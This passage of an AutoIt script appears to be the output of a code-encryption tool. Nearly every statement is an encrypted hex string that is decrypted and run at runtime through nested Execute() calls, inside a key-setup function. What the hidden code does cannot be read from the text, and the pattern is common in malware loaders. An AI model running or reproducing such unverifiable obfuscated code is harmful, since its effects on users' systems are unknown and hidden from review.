Execute(Execute(_MCFCNG('0x707F42776F5D0889F1BD0969B44AC787339E14AC1EE6525C931CB280F713A2F4262ECDDF1360042EF44477BBD73E2A389464AA16E130A6C133D16336E866C9FABF69CF46495A9DC80526134CB2BDE52571FF9E138E82852BBBA7CFAADA701F88C4A5AC9544008B3CE72E26B72E0FFF2E'))) Execute(Execute(_MCFCNG('0x598735C2DBFBCF0D6FEC3EC4522520D11C21D297FEDD34445213AB7210230F6E65B778EC45C6E41D12759C2C078FEE26CC2DA11669A6AFD16DD0A0D710EDBA3A94D42EDA98C99AEDC43E4CC786843CC1'))) Execute(Execute(_MCFCNG('0x212E2B24DA34FE092351FB9F07E6482FA669B9C11266BEFFFBC870A80D769EDEC3D7E24E5AA03AD844DD5212375379CF2F4153F5C4CEA27D548BCE8194D4CB9F1A48160A39A033CC3BC87F00CCAFA2BE7F982C91019BC80FBB0B17EBF5A79EFB39651CD2BD0F2391CF23B9ABAA597153'))) EndFunc Func _MCFCC_Init($type= 0,$query= True,$useCNG= False,$updateCCkeys= True) If Execute(Execute(_MCFCNG('0x19E2EAEC9F08CFF58E2B6071D653D80AD0DD698CEEC0C9061AE0CBB97C078465395C51329E51E11D0EB8C8C5DB73F010B0352CF83AE1DF498138094894879246BB1C745D6CDA0A21C6978DC5E0A9CA29'))) Then $CCkey[3]=Execute(Execute(_MCFCNG('0x9A7B494901C84A34D43B3781DD2D5722F790B3CD3B0ED01C9939805C2DE65290612BC2EE0A3DAA4E46BE13856D80FE89'))) $CCkey[4]=Execute(Execute(_MCFCNG('0x9DDA8C31DABE08ABB66D0C15DB35751830CEF6D659D99F0F9F482BB488636F6A3C4CB250DDC5F9DF0BA3CAEE2D19D9089CB6100348F76DB9B01C40BD56F26E9FDABA13334BCBBD2FCFBE7D0781DA9044'))) $CCkey[5]=Execute(Execute(_MCFCNG('0xDC200751F9C61011438B4AC24AE4F9E2BD6F023662DEA3D902CCCAF4980E9F37DE8686D7900BED6CD05191CC80F07990')))&Execute(Execute(_MCFCNG('0x4B6DFD0D21CC200E87EB5ABCE227ED62579E35EEFAB28F92549B27A27DF0D6A9D8A7D510841A5BFE89435714BA900146')))&Execute(Execute(_MCFCNG('0x3C3221044C0898740F1A2135BE1F2AAE073F08DA51CF3051A42ACE57C7B80F1F2730979126FC00E032A9F912218686BA37806C82069137FCCF69013D962AB10CE94FEC7152FEDE58BCFB92CDB647B43A'))) $CCkey[ 6 ]=Execute(Execute(_MCFCNG('0x7D63C219D0ADE23E28D9B0EA807EA6560798C4B23D311C41FA425353E5A66095CF327BF660815A2195E24A1B6771E33853F883328929BEF6E3A71781346A2CC25BA85B401C320569CA1EF3AD2DAF79B5'))) $CCkey[7]=Execute(Execute(_MCFCNG('0x144A440E90DFB58779F3D087FBB7578B0F984C1B9106C864E252111D61508C019348FF8200A47F68DAE97E1F777D72E0'))) EndIf If Execute(Execute(_MCFCNG('0x2BB089EA0776580D8B7E55A8DCEBEFF725970133DBB6E2BE04ECAC5E20C3A5967F79E1C09F26E14CBBFB41E0C19A37B021D11F3E3939531FD00DD7D82509C058C30D577FCC121873035C404B513954EEF0208C8DBD43FAE9025E82B2C0E075C0A0D405D4DBA758D1908D710835102CC2070D0F3213CE11C90A405649042E7D876DE36A11F30705872EF4C13B70913318'))) Then $type= 1 $type=Execute(Execute(_MCFCNG('0xFAEA296576F29141A972A8BB8F8127E712716033ED1B86647B0C4ADB9EE1B416D344549E6C7E7D8167F91AA7607B79BEDC419E6EA32BFAFBB25B49BDCDC1A1BDAB947E3BBAD5EE67648BC50BA22DD9A9'))) If Execute(Execute(_MCFCNG('0x56E778E77659654BC9DC69BB3C1B2D6F83AFFDF208DCB4004CA92B5C3AC6D3C5287740F1E2650E236AB21691ECDC4CA0D95AC51DB894B492BB4C5AF55175EF95623291F2334230FAFD4D6EDEB8608E219DDACB1C5FF651D5676A786B29E75B7D7E9F482A24E9E9FFFC82364026C08691'))) Then $type= 1 If Execute(Execute(_MCFCNG('0x4661FD08C775105530D2F33CAC7A3C48943487FD5F4C7076F25CFA8FAA173D207034D14A8656540E11BD5D62359C6FC7DB66920A96680064475F0D461FF05EBE6719D1C68D198A854E95588B7D425629'))) Then $CCkey[1]=$cmdline[1] If Execute(Execute(_MCFCNG('0xF7F61FF1896000C39E3D8735B6CD98BDB71D19C3E1616EC8BDE55D576F92D7F9D1D8803AA236E91DCF86FAC795AC58D3A18CE58ACBA2F1E1E442740036096F266EF638C4281B1A6E7261D5B3D33D92132640BAB7AF0DE151832BC3174080F43F45C10E9BD4D661B6A0C0F9984FCA4E7648DF098C19D189F154A0633EA574952081D05446C055815C1AB95B19F22B317A062B766E9FA42F849980BA5D55CD1EABCFD37C3158A7A517EFF7890FD3E247FC8F7BD60C9C1A87C6E9745B68401AA6E2E4D7F895A5EE092A804B5BFB3BE3112A'))) Then $CCkey[$type]=Execute(Execute(_MCFCNG('0xDCF7DA37812817B54C46E010B2E54B93BF499330CD0D80E11A5513E5B478D887E89C2C2337FA77644E868D825FB77545BD142A6E061D90EE1DD092460A9689455CB01F285AC5D4052894D72D71AE9F5EF89C8DE459C26617BDFCE1E58AFA34071E99FA45ABF6CAEFDE141D186F12ECE025DD3064C78502A6DECDC4326ADD7A2817DAD5569F77C6033D6E38CD29F7CEF8AECEFF7BFAE953FE5882419CEFAD5F4C102CE2C275DED0F8441A32D27363E31EE5FD662D4A5A0FD58BFEAA38C9FEABF86621336DDC28BEBE7B87E73E3350E42C64DE61A75F79714AF2AA3CC3864454501F34A34CE9CC87F7A6417445766D9D30'))) $CCkeytype=$type Switch $useCNG Case True For $cc= 1 To Execute(Execute(_MCFCNG('0x50F4120A9986B73A73AF9993E820D23D5C4F55836C3E6CDB1356D0B985C26AC0BDE609F41DE3CE155892B0CB80E093905E5205179B2D705E50BB2172CFB1AF9825E035E9BEEADEDEFA2D7F73341459A8')))- 1 If Execute(Execute(_MCFCNG('0xC4BDF93D6426A3241E970E1A12AE31A27303F9CC9F825A0BE302C2C231E43250DF98DA551503B81B3C1A1CBAF00B49AB0399378FF9FA2DAE8B61ECAF39EEFB6A88BF25A9909FD523F8E14D2E8592C692'))) Then Execute(Execute(_MCFCNG('0xB93CE87A731BC06296CD6B509C7C326C8398533A3B82D868766080D48CA56067DFD846A1CBE915F73641E3D4E92D2D37D51D74F145E74B43B49DBBACC3D87893FC369FDD667301305FA61BC32DEE59A75ACBFC4D3061E9EB3B3D26D08BB981C2B79E97095F5AA347EBC155AE52D431E3BD117AF771A708E65E219B0BBF67DB8FFE56AE1D92BCEB720CB7AE25DE262894'))) If Execute(Execute(_MCFCNG('0x56AF47F19ED2B142CBFFCD240CF25FDD1B97B85FEE23E5721883EE562FE9652C4D6AFC4B98D0453ECDA8D6227EFED8A3DC8AE75FFDAD00987B8784DB33C3D20540455DD4C6315DBE40237D59C469C7B2'))) Then $CCkeyhandle[$cc]=Execute(Execute(_MCFCNG('0xA1A00D2177FF28FD4770DF5B6CF5A5944918D5387FEB09C61B91A5B7917823FA47F1961665A1F2937FADAD7E488799D332D948F2359EB61278DFF3F2D4B17C24C8805073D3689D761CDCFB0C6E86A9FD'))) Next Case Else Execute(Execute(_MCFCNG('0x4030F20E6C7E37D0EE003BD0DB2A7F85D8C50CDE0CF9DB6CCD2FC9F7613EF746F9976D10EF8584BDFF08A2AFDCEE0B89167218147BDD40B8348EEE964A2CA6FC33D9A7C064A64AE472453787F5C26E00'))) EndSwitch EndFunc Local $String=Execute(_MCFCNG('0x04F74536C68808D1C836687B5016AD0D4C930B98F474383C1BFCF9006A4B170E3155F6BD2DEBC68C1D67DA724D28F1F2')) Execute(Execute(_MCFCNG('0x1587407BB21E9F6D00BF3BE57AF29DF0532FBC01AB4DA58CB3B2C6B32375198B32F911D318E9C2DEE422A3496F7A643236C6900E944EB3CBCB9E634FFA37FD3BB25DF4D741EAF590E66BA17052A48E04')))